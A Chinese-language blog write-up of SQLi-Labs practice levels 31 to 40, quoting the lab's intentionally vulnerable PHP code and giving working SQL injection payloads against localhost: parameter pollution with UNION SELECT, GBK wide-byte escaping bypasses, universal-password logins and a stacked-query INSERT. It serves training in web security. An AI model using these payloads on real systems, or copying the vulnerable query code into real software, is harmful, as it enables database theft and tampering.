SQLi-Labs 学习笔记(Less 31-40)

点击打开链接

Less-31


先打开网页查看 Welcome Dhakkan

SQLi-Labs 学习笔记(Less 31-40)_第1张图片


与之前唯一的区别在于:

[plain]  view plain  copy
  1. $id = '"' .$id. '"';  
  2. $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";  


直接构建payload:

[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-31/index.jsp?id=1&id=-2") union select 1,database(),3--+  
SQLi-Labs 学习笔记(Less 31-40)_第2张图片



提示:Less-32,33,34,35,36,37六关全部是针对'和\的过滤


Less-32


先打开网页查看 Welcome Dhakkan

SQLi-Labs 学习笔记(Less 31-40)_第3张图片


②查看源代码

[plain]  view plain  copy
  1.   
  2.   
  3.   
  4.   
  5. Less-32 **Bypass addslashes()**  
  6.   
  7.   
  8.   
  9. Welcome    Dhakkan 
      
  10.   
  11.   
  12.   
  13. //including the Mysql connect parameters.  
  14. include("../sql-connections/sql-connect.php");  
  15.   
  16. function check_addslashes($string)  
  17. {  
  18.     $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash  
  19.     $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash  
  20.     $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash  
  21.         
  22.       
  23.     return $string;  
  24. }  
  25.   
  26. // take the variables   
  27. if(isset($_GET['id']))  
  28. {  
  29. $id=check_addslashes($_GET['id']);  
  30. //echo "The filtered request is :" .$id . "
    ";  
  31.   
  32. //logging the connection parameters to a file for analysis.  
  33. $fp=fopen('result.txt','a');  
  34. fwrite($fp,'ID:'.$id."\n");  
  35. fclose($fp);  
  36.   
  37. // connectivity   
  38.   
  39. mysql_query("SET NAMES gbk");  
  40. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";  
  41. $result=mysql_query($sql);  
  42. $row = mysql_fetch_array($result);  
  43.   
  44.     if($row)  
  45.     {  
  46.     echo '';     
  47.     echo 'Your Login name:'. $row['username'];  
  48.     echo "
    ";  
  49.     echo 'Your Password:' .$row['password'];  
  50.     echo "";  
  51.     }  
  52.     else   
  53.     {  
  54.     echo '';  
  55.     print_r(mysql_error());  
  56.     echo "";    
  57.     }  
  58. }  
  59.     else { echo "Please input the ID as parameter with numeric value";}  
  60.           
  61.           
  62.   
  63. ?>  
  64.  



  
  •   

  •   

  •   

  •   

  •   

  •   
  •   
  •   
  • function strToHex($string)  
  • {  
  •     $hex='';  
  •     for ($i=0; $i < strlen($string); $i++)  
  •     {  
  •         $hex .= dechex(ord($string[$i]));  
  •     }  
  •     return $hex;  
  • }  
  • echo "Hint: The Query String you input is escaped as : ".$id ."
    ";  
  • echo "The Query String you input in Hex becomes : ".strToHex($id). "
    ";  
  •   
  • ?>  
  •   
  •    
  •   
  •   

  • 我们来看看关键的代码:

    [plain]  view plain  copy
    1. $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash  
    2. $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash  
    3. $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash  


    很明显,将 [ /,'," ]这些三个符号都过滤掉了,那么这里涉及到宽字节注入,先来了解下相关知识(百度):


    原理:mysql在使用GBK编码的时候,会认为两个字符为一个汉字,例如%aa%5c就是一个汉字(前一个ascii码大于128才能到汉字的范围)。我们在过滤 ' 的时候,往往利用的思路是将 ' 转换为 \' (转换的函数或者思路会在每一关遇到的时候介绍)。


    因此我们在此想办法将 ' 前面添加的 \ 除掉,一般有两种思路:

    1. %df吃掉 \ 具体的原因是urlencode(\') = %5c%27,我们在%5c%27前面添加%df,形成%df%5c%27,而上面提到的mysql在GBK编码方式的时候会将两个字节当做一个汉字,此事%df%5c就是一个汉字,%27则作为一个单独的符号在外面,同时也就达到了我们的目的。


    2. 将 \' 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27的情况,后面的%5c会被前面的%5c给注释掉。这也是bypass的一种方法。


    根据上述的代码,我们采用第一种方法,构建payload:

    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-32/?id=-1%df%27union select 1,database(),3--+   

    SQLi-Labs 学习笔记(Less 31-40)_第4张图片


    Less-33


    与之前的Less-22一样,唯一的区别就是:

    [plain]  view plain  copy
    1. function check_addslashes($string)  
    2. {  
    3.     $string= addslashes($string);      
    4.     return $string;  
    5. }  


    介绍一些:addslashes()

    功能:函数返回在预定义字符之前添加反斜杠的字符串

    预定义字符是:
        单引号(')
        双引号(")
        反斜杠(\)
        NULL
    提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
    注释:默认地,PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。所以您不应对已转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。


    Less-34 


    先打开网页查看 Welcome Dhakkan

    SQLi-Labs 学习笔记(Less 31-40)_第5张图片


    ②查看源代码:

    [plain]  view plain  copy
    1.   
    2.   
    3.   
    4.       
    5.     Less-34- Bypass Add SLASHES  
    6.   
    7.   
    8.   
    9.  Welcome   Dhakkan 
      
  •   
  •   
  •   
  •   
  •    
  •   
  •   
  •   
  •     Username :      
  •           
  •     
  •     
  •     
     Password  :      
  •           
  •     

  •   
  •       
  •           
  •     
  •   
  •   
  •   
  •   
  •   
  •   
  •   
  •   

  •   

  •   

  •   
  •   
  •   
  •   
  • //including the Mysql connect parameters.  
  • include("../sql-connections/sql-connect.php");  
  •   
  •   
  • // take the variables  
  • if(isset($_POST['uname']) && isset($_POST['passwd']))  
  • {  
  •     $uname1=$_POST['uname'];  
  •     $passwd1=$_POST['passwd'];  
  •   
  •         //echo "username before addslashes is :".$uname1 ."
    ";  
  •         //echo "Input password before addslashes is : ".$passwd1. "
    ";  
  •           
  •     //logging the connection parameters to a file for analysis.  
  •     $fp=fopen('result.txt','a');  
  •     fwrite($fp,'User Name:'.$uname1);  
  •     fwrite($fp,'Password:'.$passwd1."\n");  
  •     fclose($fp);  
  •           
  •         $uname = addslashes($uname1);  
  •         $passwd= addslashes($passwd1);  
  •           
  •         //echo "username after addslashes is :".$uname ."
    ";  
  •         //echo "Input password after addslashes is : ".$passwd;      
  •   
  •     // connectivity   
  •     mysql_query("SET NAMES gbk");  
  •     @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";  
  •     $result=mysql_query($sql);  
  •     $row = mysql_fetch_array($result);  
  •   
  •     if($row)  
  •     {  
  •         //echo '';   
  •           
  •         echo "
    ";  
  •         echo '';  
  •         //echo " You Have successfully logged in\n\n " ;  
  •         echo '';     
  •         echo "
    ";  
  •         echo 'Your Login name:'. $row['username'];  
  •         echo "
    ";  
  •         echo 'Your Password:' .$row['password'];  
  •         echo "
    ";  
  •         echo "";  
  •         echo "
    ";  
  •         echo "
    ";  
  •         echo '';   
  •           
  •         echo "";  
  •     }  
  •     else    
  •     {  
  •         echo '';  
  •         //echo "Try again looser";  
  •         print_r(mysql_error());  
  •         echo "
    ";  
  •         echo "
    ";  
  •         echo "
    ";  
  •         echo '';    
  •         echo "";    
  •     }  
  • }  
  •   
  • ?>  
  •   

  •   

  •   

  •   
  •   
  •    
  • echo "Hint: The Username you input is escaped as : ".$uname ."
    ";  
  • echo "Hint: The Password you input is escaped as : ".$passwd ."
    ";  
  • ?>  
  •   
  •   
  •   
  •   
  •   

  • 本关是post型的注入漏洞,同样的也是将post过来的内容进行了 ' \ 的处理。由上面的例子可以看到我们的方法就是将过滤函数添加的 \ 给吃掉。而get型的方式我们是以url形式提交的,因此数据会通过URLencode,如何将方法用在post型的注入当中,我们此处介绍一个新的方法。将utf-8转换为utf-16或 utf-32,例如将 ' 转为utf-16为 ' 。我们就可以利用这个方式进行尝试。

    我们用万能密码的方式的来突破这一关。
    SQLi-Labs 学习笔记(Less 31-40)_第6张图片


    Less-35


    GET提交,与Less-33的区别在于:

    [plain]  view plain  copy
    1. $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";  



    Less-36


    改关中用到了一个函数:

    [plain]  view plain  copy
    1. function check_quotes($string)  
    2. {  
    3.     $string= mysql_real_escape_string($string);      
    4.     return $string;  
    5. }  


    介绍一下 mysql_real_escape_string():


    mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
    下列字符受影响:


      \x00   \n   \r    \    '   "     \x1a


    如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。


    但是因mysql我们并没有设置成gbk,所以mysql_real_escape_string()依旧能够被突破。方法和上述是一样的,


    构建payload:

    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-36/?id=-1%df%27union select 1,database(),3--+  


    Less-37


    先打开网页查看 Welcome Dhakkan

    SQLi-Labs 学习笔记(Less 31-40)_第7张图片


    该关与Less-34的区别在与过滤函数的不同:

    [plain]  view plain  copy
    1. $uname = mysql_real_escape_string($uname1);  
    2. $passwd= mysql_real_escape_string($passwd1);  

    但原理并没有什么区别,和Less-34一样用万能密码过掉即可。


    Less-38


    先打开网页查看 Welcome Dhakkan

    SQLi-Labs 学习笔记(Less 31-40)_第8张图片

    ②查看源代码 index.php:

    [plain]  view plain  copy
    1. error_reporting(0);  
    2. include("../sql-connections/db-creds.inc");  
    3. ?>  
    4.   
    5.   
    6.   
    7.   
    8. Less-38 **stacked Query**  
    9.   
    10.   
    11.   
    12. Welcome    Dhakkan 
        
    13.   
    14.   
    15.   
    16.   
    17.   
    18.   
    19.   
    20. // take the variables   
    21. if(isset($_GET['id']))  
    22. {  
    23. $id=$_GET['id'];  
    24. //logging the connection parameters to a file for analysis.  
    25. $fp=fopen('result.txt','a');  
    26. fwrite($fp,'ID:'.$id."\n");  
    27. fclose($fp);  
    28.   
    29. // connectivity  
    30. //mysql connections for stacked query examples.  
    31. $con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);  
    32. // Check connection  
    33. if (mysqli_connect_errno($con1))  
    34. {  
    35.     echo "Failed to connect to MySQL: " . mysqli_connect_error();  
    36. }  
    37. else  
    38. {  
    39.     @mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database: $dbname");  
    40. }  
    41.   
    42.   
    43.   
    44. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";  
    45. /* execute multi query */  
    46. if (mysqli_multi_query($con1, $sql))  
    47. {  
    48.       
    49.       
    50.     /* store first result set */  
    51.     if ($result = mysqli_store_result($con1))  
    52.     {  
    53.         if($row = mysqli_fetch_row($result))  
    54.         {  
    55.             echo '';      
    56.             printf("Your Username is : %s", $row[1]);  
    57.             echo "
      ";  
    58.             printf("Your Password is : %s", $row[2]);  
    59.             echo "
      ";  
    60.             echo "";  
    61.         }  
    62. //            mysqli_free_result($result);  
    63.     }  
    64.         /* print divider */  
    65.     if (mysqli_more_results($con1))  
    66.     {  
    67.             //printf("-----------------\n");  
    68.     }  
    69.      //while (mysqli_next_result($con1));  
    70. }  
    71. else   
    72.     {  
    73.     echo '';  
    74.     print_r(mysqli_error($con1));  
    75.     echo "";    
    76.     }  
    77. /* close connection */  
    78. mysqli_close($con1);  
    79.   
    80.   
    81. }  
    82.     else { echo "Please input the ID as parameter with numeric value";}  
    83.   
    84. ?>  
    85.  



      
  •   
  •   
  •   

  • 这一部分涉及到堆叠注入(Stacked injections),请参考 http://www.cnblogs.com/lcamry/p/5762905.html
    建议看完在继续。

    那么,构建payload:
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-38/?id=1';insert into users(id,username,password) values (15,'jack','jack')--+  
    SQLi-Labs 学习笔记(Less 31-40)_第9张图片


    Less-39


    和上一关唯一的区别就是:

    [plain]  view plain  copy
    1. $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";  


    其余一样。


    Less-40


    唯一的区别:

    [plain]  view plain  copy
    1. $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";  

    其余一样。



    你可能感兴趣的:(SQL注入)